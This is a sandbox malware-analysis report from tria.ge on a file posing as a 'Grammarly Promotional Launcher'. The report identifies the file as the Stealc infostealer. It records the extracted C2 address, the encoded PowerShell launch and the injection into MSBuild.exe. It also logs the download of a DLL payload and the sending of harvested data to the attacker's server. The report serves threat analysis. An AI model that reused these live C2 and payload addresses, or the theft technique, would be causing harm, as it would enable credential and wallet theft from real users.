Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

Grammarly ...er.exe

windows7-x64

6

Grammarly ...er.exe

windows10-1703-x64

10

Grammarly ...er.exe

windows10-2004-x64

10

Resubmissions

02/09/2023, 14:51 UTC

230902-r8cxhaea23 10

02/09/2023, 14:49 UTC

230902-r65vhadf3s 10

Analysis

  • max time kernel
    96s
  • max time network
    103s
  • platform
    windows10-1703_x64
  • resource
    win10-20230831-en
  • resource tags

    arch:x64arch:x86image:win10-20230831-enlocale:en-usos:windows10-1703-x64system
  • submitted
    02/09/2023, 14:51 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Grammarly Promotional Launcher.exe

  • Size

    20.4MB

  • MD5

    9ed667ef1d116c0cb1051b8001b6ea0f

  • SHA1

    cbe4fdb8847ff9b5d0aa1e0a43bb3abd28f4a875

  • SHA256

    deba2be10d757679996d33d70d37b968088ba37e1d0f86d71beb8be38c34262f

  • SHA512

    4fc726f8f2ca7f024f5db1a660a3c9dff109014cc2f56097470b317950d05956c084f2e19fb9da3d14d589444c2bb0a7a370bce8b5dc049b5d3e774994bdd4e1

  • SSDEEP

    393216:onRZwqeWLCKhc+0Uz+JD8rY5Pobe7n/k8MoeTtqLiVc4GYbJQp:CN1hxX+QrY5PAe7/kHtsii4bbJG

Score
10/10
stealc9323114451583182971321730716spywarestealer

Malware Config

Extracted

Family

stealc

Botnet

9323114451583182971321730716

C2

http://89.23.108.122

Attributes
  • url_path

    /e510c4e87f874d68.php

rc4.plain
1
9323114451583182971321730716

Signatures

  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Grammarly Promotional Launcher.exe
    "C:\Users\Admin\AppData\Local\Temp\Grammarly Promotional Launcher.exe"
    1⤵
    • Enumerates connected drives
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1544
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:208
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      2⤵
      • Loads dropped DLL
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      PID:4776

Network

  • flag-us
    DNS
    www.python.org
    Grammarly Promotional Launcher.exe
    Remote address:
    8.8.8.8:53
    Request
    www.python.org
    IN A
    Response
    www.python.org
    IN CNAME
    dualstack.python.map.fastly.net
    dualstack.python.map.fastly.net
    IN A
    151.101.36.223
  • flag-nl
    GET
    https://www.python.org/
    Grammarly Promotional Launcher.exe
    Remote address:
    151.101.36.223:443
    Request
    GET / HTTP/1.1
    accept: */*
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
    host: www.python.org
    Response
    HTTP/1.1 200 OK
    Connection: keep-alive
    Content-Length: 50753
    Server: nginx
    Content-Type: text/html; charset=utf-8
    X-Frame-Options: SAMEORIGIN
    Via: 1.1 vegur, 1.1 varnish, 1.1 varnish
    Accept-Ranges: bytes
    Date: Sat, 02 Sep 2023 14:51:47 GMT
    Age: 3195
    X-Served-By: cache-iad-kiad7000025-IAD, cache-ams21076-AMS
    X-Cache: HIT, HIT
    X-Cache-Hits: 17, 2
    X-Timer: S1693666308.811944,VS0,VE0
    Vary: Cookie
    Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
  • flag-us
    DNS
    223.36.101.151.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    223.36.101.151.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    lazagrc2cnk.xyz
    Grammarly Promotional Launcher.exe
    Remote address:
    8.8.8.8:53
    Request
    lazagrc2cnk.xyz
    IN A
    Response
    lazagrc2cnk.xyz
    IN A
    89.185.84.37
  • flag-gb
    GET
    https://lazagrc2cnk.xyz/rm/ucontent/uid_742954/ep7mdl00.dll
    Grammarly Promotional Launcher.exe
    Remote address:
    89.185.84.37:443
    Request
    GET /rm/ucontent/uid_742954/ep7mdl00.dll HTTP/1.1
    accept: */*
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
    host: lazagrc2cnk.xyz
    Response
    HTTP/1.1 200 OK
    Date: Sat, 02 Sep 2023 14:52:07 GMT
    Server: Apache/2.4.52 (Ubuntu)
    Last-Modified: Wed, 30 Aug 2023 09:41:40 GMT
    ETag: "1981c-60420bc0a0b34"
    Accept-Ranges: bytes
    Content-Length: 104476
    Content-Type: application/x-msdos-program
  • flag-us
    DNS
    37.84.185.89.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    37.84.185.89.in-addr.arpa
    IN PTR
    Response
    37.84.185.89.in-addr.arpa
    IN PTR
    fhfggggggggip-ptrtech
  • flag-de
    POST
    http://89.23.108.122/e510c4e87f874d68.php
    MSBuild.exe
    Remote address:
    89.23.108.122:80
    Request
    POST /e510c4e87f874d68.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----DHCGHDHIDHCBGCBGCAEB
    Host: 89.23.108.122
    Content-Length: 210
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 02 Sep 2023 14:52:09 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Vary: Accept-Encoding
    Content-Length: 144
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-de
    POST
    http://89.23.108.122/e510c4e87f874d68.php
    MSBuild.exe
    Remote address:
    89.23.108.122:80
    Request
    POST /e510c4e87f874d68.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----IJKFHDBKFCAAECBFIDHJ
    Host: 89.23.108.122
    Content-Length: 268
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 02 Sep 2023 14:52:09 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Vary: Accept-Encoding
    Content-Length: 1736
    Keep-Alive: timeout=5, max=99
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-de
    POST
    http://89.23.108.122/e510c4e87f874d68.php
    MSBuild.exe
    Remote address:
    89.23.108.122:80
    Request
    POST /e510c4e87f874d68.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----JEHJKJEBGHJJKEBGIECA
    Host: 89.23.108.122
    Content-Length: 267
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 02 Sep 2023 14:52:09 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Vary: Accept-Encoding
    Content-Length: 5056
    Keep-Alive: timeout=5, max=98
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-de
    POST
    http://89.23.108.122/e510c4e87f874d68.php
    MSBuild.exe
    Remote address:
    89.23.108.122:80
    Request
    POST /e510c4e87f874d68.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----BGDGHJEHJJDAAAKEBGCF
    Host: 89.23.108.122
    Content-Length: 4039
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 02 Sep 2023 14:52:10 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 0
    Keep-Alive: timeout=5, max=97
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-de
    GET
    http://89.23.108.122/82d70f9594fbc25a/sqlite3.dll
    MSBuild.exe
    Remote address:
    89.23.108.122:80
    Request
    GET /82d70f9594fbc25a/sqlite3.dll HTTP/1.1
    Host: 89.23.108.122
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 02 Sep 2023 14:52:10 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Last-Modified: Mon, 05 Sep 2022 12:30:30 GMT
    ETag: "10e436-5e7ed3ec64580"
    Accept-Ranges: bytes
    Content-Length: 1106998
    Content-Type: application/x-msdos-program
  • flag-de
    GET
    http://89.23.108.122/82d70f9594fbc25a/freebl3.dll
    MSBuild.exe
    Remote address:
    89.23.108.122:80
    Request
    GET /82d70f9594fbc25a/freebl3.dll HTTP/1.1
    Host: 89.23.108.122
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 02 Sep 2023 14:52:11 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Last-Modified: Mon, 05 Sep 2022 08:49:08 GMT
    ETag: "a7550-5e7ea271b0900"
    Accept-Ranges: bytes
    Content-Length: 685392
    Content-Type: application/x-msdos-program
  • flag-de
    GET
    http://89.23.108.122/82d70f9594fbc25a/mozglue.dll
    MSBuild.exe
    Remote address:
    89.23.108.122:80
    Request
    GET /82d70f9594fbc25a/mozglue.dll HTTP/1.1
    Host: 89.23.108.122
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 02 Sep 2023 14:52:12 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Last-Modified: Mon, 05 Sep 2022 08:49:08 GMT
    ETag: "94750-5e7ea271b0900"
    Accept-Ranges: bytes
    Content-Length: 608080
    Content-Type: application/x-msdos-program
  • flag-de
    GET
    http://89.23.108.122/82d70f9594fbc25a/msvcp140.dll
    MSBuild.exe
    Remote address:
    89.23.108.122:80
    Request
    GET /82d70f9594fbc25a/msvcp140.dll HTTP/1.1
    Host: 89.23.108.122
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 02 Sep 2023 14:52:12 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Last-Modified: Mon, 05 Sep 2022 08:49:08 GMT
    ETag: "6dde8-5e7ea271b0900"
    Accept-Ranges: bytes
    Content-Length: 450024
    Content-Type: application/x-msdos-program
  • flag-de
    GET
    http://89.23.108.122/82d70f9594fbc25a/nss3.dll
    MSBuild.exe
    Remote address:
    89.23.108.122:80
    Request
    GET /82d70f9594fbc25a/nss3.dll HTTP/1.1
    Host: 89.23.108.122
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 02 Sep 2023 14:52:12 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Last-Modified: Mon, 05 Sep 2022 08:49:08 GMT
    ETag: "1f3950-5e7ea271b0900"
    Accept-Ranges: bytes
    Content-Length: 2046288
    Content-Type: application/x-msdos-program
  • flag-de
    GET
    http://89.23.108.122/82d70f9594fbc25a/softokn3.dll
    MSBuild.exe
    Remote address:
    89.23.108.122:80
    Request
    GET /82d70f9594fbc25a/softokn3.dll HTTP/1.1
    Host: 89.23.108.122
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 02 Sep 2023 14:52:13 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Last-Modified: Mon, 05 Sep 2022 08:49:08 GMT
    ETag: "3ef50-5e7ea271b0900"
    Accept-Ranges: bytes
    Content-Length: 257872
    Content-Type: application/x-msdos-program
  • flag-de
    GET
    http://89.23.108.122/82d70f9594fbc25a/vcruntime140.dll
    MSBuild.exe
    Remote address:
    89.23.108.122:80
    Request
    GET /82d70f9594fbc25a/vcruntime140.dll HTTP/1.1
    Host: 89.23.108.122
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 02 Sep 2023 14:52:13 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Last-Modified: Mon, 05 Sep 2022 08:49:08 GMT
    ETag: "13bf0-5e7ea271b0900"
    Accept-Ranges: bytes
    Content-Length: 80880
    Content-Type: application/x-msdos-program
  • flag-de
    POST
    http://89.23.108.122/e510c4e87f874d68.php
    MSBuild.exe
    Remote address:
    89.23.108.122:80
    Request
    POST /e510c4e87f874d68.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----AAEGHJKJKKJDHIDHJKJD
    Host: 89.23.108.122
    Content-Length: 827
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 02 Sep 2023 14:52:14 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 0
    Keep-Alive: timeout=5, max=89
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-de
    POST
    http://89.23.108.122/e510c4e87f874d68.php
    MSBuild.exe
    Remote address:
    89.23.108.122:80
    Request
    POST /e510c4e87f874d68.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----DGHDHIDGHIDGIECBKKJJ
    Host: 89.23.108.122
    Content-Length: 355
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 02 Sep 2023 14:52:14 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 0
    Keep-Alive: timeout=5, max=88
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-de
    POST
    http://89.23.108.122/e510c4e87f874d68.php
    MSBuild.exe
    Remote address:
    89.23.108.122:80
    Request
    POST /e510c4e87f874d68.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----HJKKFIJKFCAKJJJKJKFI
    Host: 89.23.108.122
    Content-Length: 267
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 02 Sep 2023 14:52:14 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Vary: Accept-Encoding
    Content-Length: 1596
    Keep-Alive: timeout=5, max=87
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-de
    POST
    http://89.23.108.122/e510c4e87f874d68.php
    MSBuild.exe
    Remote address:
    89.23.108.122:80
    Request
    POST /e510c4e87f874d68.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----EHJKKKFIIJJKJKFIECBF
    Host: 89.23.108.122
    Content-Length: 265
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 02 Sep 2023 14:52:14 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 0
    Keep-Alive: timeout=5, max=86
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-de
    POST
    http://89.23.108.122/e510c4e87f874d68.php
    MSBuild.exe
    Remote address:
    89.23.108.122:80
    Request
    POST /e510c4e87f874d68.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKK
    Host: 89.23.108.122
    Content-Length: 92347
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 02 Sep 2023 14:52:14 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 0
    Keep-Alive: timeout=5, max=85
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-de
    POST
    http://89.23.108.122/e510c4e87f874d68.php
    MSBuild.exe
    Remote address:
    89.23.108.122:80
    Request
    POST /e510c4e87f874d68.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----DGDBKFBAKFBFHIECFBFI
    Host: 89.23.108.122
    Content-Length: 264
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Sat, 02 Sep 2023 14:52:14 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 0
    Keep-Alive: timeout=5, max=84
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-us
    DNS
    122.108.23.89.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    122.108.23.89.in-addr.arpa
    IN PTR
    Response
    122.108.23.89.in-addr.arpa
    IN PTR
    4S-4-TG-1691929455ip-ptrtech
  • flag-us
    DNS
    11.227.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    11.227.111.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    38.148.119.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    38.148.119.40.in-addr.arpa
    IN PTR
    Response
  • 151.101.36.223:443
    https://www.python.org/
    tls, http
    Grammarly Promotional Launcher.exe
    1.9kB
     58.9kB
     31
    53

    HTTP Request

    GET https://www.python.org/

    HTTP Response

    200
  • 89.185.84.37:443
    https://lazagrc2cnk.xyz/rm/ucontent/uid_742954/ep7mdl00.dll
    tls, http
    Grammarly Promotional Launcher.exe
    2.8kB
     112.7kB
     50
    86

    HTTP Request

    GET https://lazagrc2cnk.xyz/rm/ucontent/uid_742954/ep7mdl00.dll

    HTTP Response

    200
  • 89.23.108.122:80
    http://89.23.108.122/e510c4e87f874d68.php
    http
    MSBuild.exe
    284.6kB
     5.4MB
     3958
    3899

    HTTP Request

    POST http://89.23.108.122/e510c4e87f874d68.php

    HTTP Response

    200

    HTTP Request

    POST http://89.23.108.122/e510c4e87f874d68.php

    HTTP Response

    200

    HTTP Request

    POST http://89.23.108.122/e510c4e87f874d68.php

    HTTP Response

    200

    HTTP Request

    POST http://89.23.108.122/e510c4e87f874d68.php

    HTTP Response

    200

    HTTP Request

    GET http://89.23.108.122/82d70f9594fbc25a/sqlite3.dll

    HTTP Response

    200

    HTTP Request

    GET http://89.23.108.122/82d70f9594fbc25a/freebl3.dll

    HTTP Response

    200

    HTTP Request

    GET http://89.23.108.122/82d70f9594fbc25a/mozglue.dll

    HTTP Response

    200

    HTTP Request

    GET http://89.23.108.122/82d70f9594fbc25a/msvcp140.dll

    HTTP Response

    200

    HTTP Request

    GET http://89.23.108.122/82d70f9594fbc25a/nss3.dll

    HTTP Response

    200

    HTTP Request

    GET http://89.23.108.122/82d70f9594fbc25a/softokn3.dll

    HTTP Response

    200

    HTTP Request

    GET http://89.23.108.122/82d70f9594fbc25a/vcruntime140.dll

    HTTP Response

    200

    HTTP Request

    POST http://89.23.108.122/e510c4e87f874d68.php

    HTTP Response

    200

    HTTP Request

    POST http://89.23.108.122/e510c4e87f874d68.php

    HTTP Response

    200

    HTTP Request

    POST http://89.23.108.122/e510c4e87f874d68.php

    HTTP Response

    200

    HTTP Request

    POST http://89.23.108.122/e510c4e87f874d68.php

    HTTP Response

    200

    HTTP Request

    POST http://89.23.108.122/e510c4e87f874d68.php

    HTTP Response

    200

    HTTP Request

    POST http://89.23.108.122/e510c4e87f874d68.php

    HTTP Response

    200
  • 8.8.8.8:53
    www.python.org
    dns
    Grammarly Promotional Launcher.exe
    60 B
     121 B
     1
    1

    DNS Request

    www.python.org

    DNS Response

    151.101.36.223

  • 8.8.8.8:53
    223.36.101.151.in-addr.arpa
    dns
    73 B
     133 B
     1
    1

    DNS Request

    223.36.101.151.in-addr.arpa

  • 8.8.8.8:53
    lazagrc2cnk.xyz
    dns
    Grammarly Promotional Launcher.exe
    61 B
     77 B
     1
    1

    DNS Request

    lazagrc2cnk.xyz

    DNS Response

    89.185.84.37

  • 8.8.8.8:53
    37.84.185.89.in-addr.arpa
    dns
    71 B
     108 B
     1
    1

    DNS Request

    37.84.185.89.in-addr.arpa

  • 8.8.8.8:53
    122.108.23.89.in-addr.arpa
    dns
    72 B
     116 B
     1
    1

    DNS Request

    122.108.23.89.in-addr.arpa

  • 8.8.8.8:53
    11.227.111.52.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    11.227.111.52.in-addr.arpa

  • 8.8.8.8:53
    38.148.119.40.in-addr.arpa
    dns
    72 B
     146 B
     1
    1

    DNS Request

    38.148.119.40.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fjjgz12i.zjw.ps1
    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

    Download Submit

  • \ProgramData\mozglue.dll
    Filesize

    593KB

    MD5

    c8fd9be83bc728cc04beffafc2907fe9

    SHA1

    95ab9f701e0024cedfbd312bcfe4e726744c4f2e

    SHA256

    ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

    SHA512

    fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

    Download Submit

  • \ProgramData\nss3.dll
    Filesize

    2.0MB

    MD5

    1cc453cdf74f31e4d913ff9c10acdde2

    SHA1

    6e85eae544d6e965f15fa5c39700fa7202f3aafe

    SHA256

    ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

    SHA512

    dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

    Download Submit

  • memory/208-47-0x00000206303A0000-0x00000206303B0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/208-49-0x00000206303A0000-0x00000206303B0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/208-48-0x00000206303A0000-0x00000206303B0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/208-25-0x0000020630340000-0x0000020630362000-memory.dmp

    Filesize

    136KB

    Download

  • memory/208-46-0x00007FFDC3440000-0x00007FFDC3E2C000-memory.dmp

    Filesize

    9.9MB

    Download

  • memory/208-53-0x00007FFDC3440000-0x00007FFDC3E2C000-memory.dmp

    Filesize

    9.9MB

    Download

  • memory/208-30-0x00000206303A0000-0x00000206303B0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/208-31-0x0000020630530000-0x00000206305A6000-memory.dmp

    Filesize

    472KB

    Download

  • memory/208-29-0x00000206303A0000-0x00000206303B0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/208-28-0x00007FFDC3440000-0x00007FFDC3E2C000-memory.dmp

    Filesize

    9.9MB

    Download

  • memory/1544-10-0x00007FFDDF350000-0x00007FFDDF352000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1544-8-0x00007FFDDF330000-0x00007FFDDF332000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1544-15-0x00007FFDDF3A0000-0x00007FFDDF3A2000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1544-16-0x00007FFDDF3B0000-0x00007FFDDF3B2000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1544-17-0x00007FFDDF3C0000-0x00007FFDDF3C2000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1544-18-0x00007FFDDF3D0000-0x00007FFDDF3D2000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1544-19-0x0000000140000000-0x0000000141469000-memory.dmp

    Filesize

    20.4MB

    Download

  • memory/1544-20-0x0000000140000000-0x0000000141469000-memory.dmp

    Filesize

    20.4MB

    Download

  • memory/1544-13-0x00007FFDDF380000-0x00007FFDDF382000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1544-12-0x00007FFDDF370000-0x00007FFDDF372000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1544-11-0x00007FFDDF360000-0x00007FFDDF362000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1544-0-0x00007FFDDF2C0000-0x00007FFDDF2C2000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1544-9-0x00007FFDDF340000-0x00007FFDDF342000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1544-14-0x00007FFDDF390000-0x00007FFDDF392000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1544-7-0x00007FFDDF320000-0x00007FFDDF322000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1544-6-0x00007FFDDF310000-0x00007FFDDF312000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1544-5-0x00007FFDDF300000-0x00007FFDDF302000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1544-4-0x00007FFDDF2F0000-0x00007FFDDF2F2000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1544-3-0x00007FFDDF2E0000-0x00007FFDDF2E2000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1544-2-0x00007FFDDF2D0000-0x00007FFDDF2D2000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1544-1-0x0000000140000000-0x0000000141469000-memory.dmp

    Filesize

    20.4MB

    Download

  • memory/1544-59-0x0000000140000000-0x0000000141469000-memory.dmp

    Filesize

    20.4MB

    Download

  • memory/4776-58-0x0000000000400000-0x000000000062D000-memory.dmp

    Filesize

    2.2MB

    Download

  • memory/4776-60-0x0000000061E00000-0x0000000061EF3000-memory.dmp

    Filesize

    972KB

    Download

  • memory/4776-57-0x0000000000400000-0x000000000062D000-memory.dmp

    Filesize

    2.2MB

    Download

  • memory/4776-54-0x0000000000400000-0x000000000062D000-memory.dmp

    Filesize

    2.2MB

    Download

  • memory/4776-115-0x0000000000400000-0x000000000062D000-memory.dmp

    Filesize

    2.2MB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.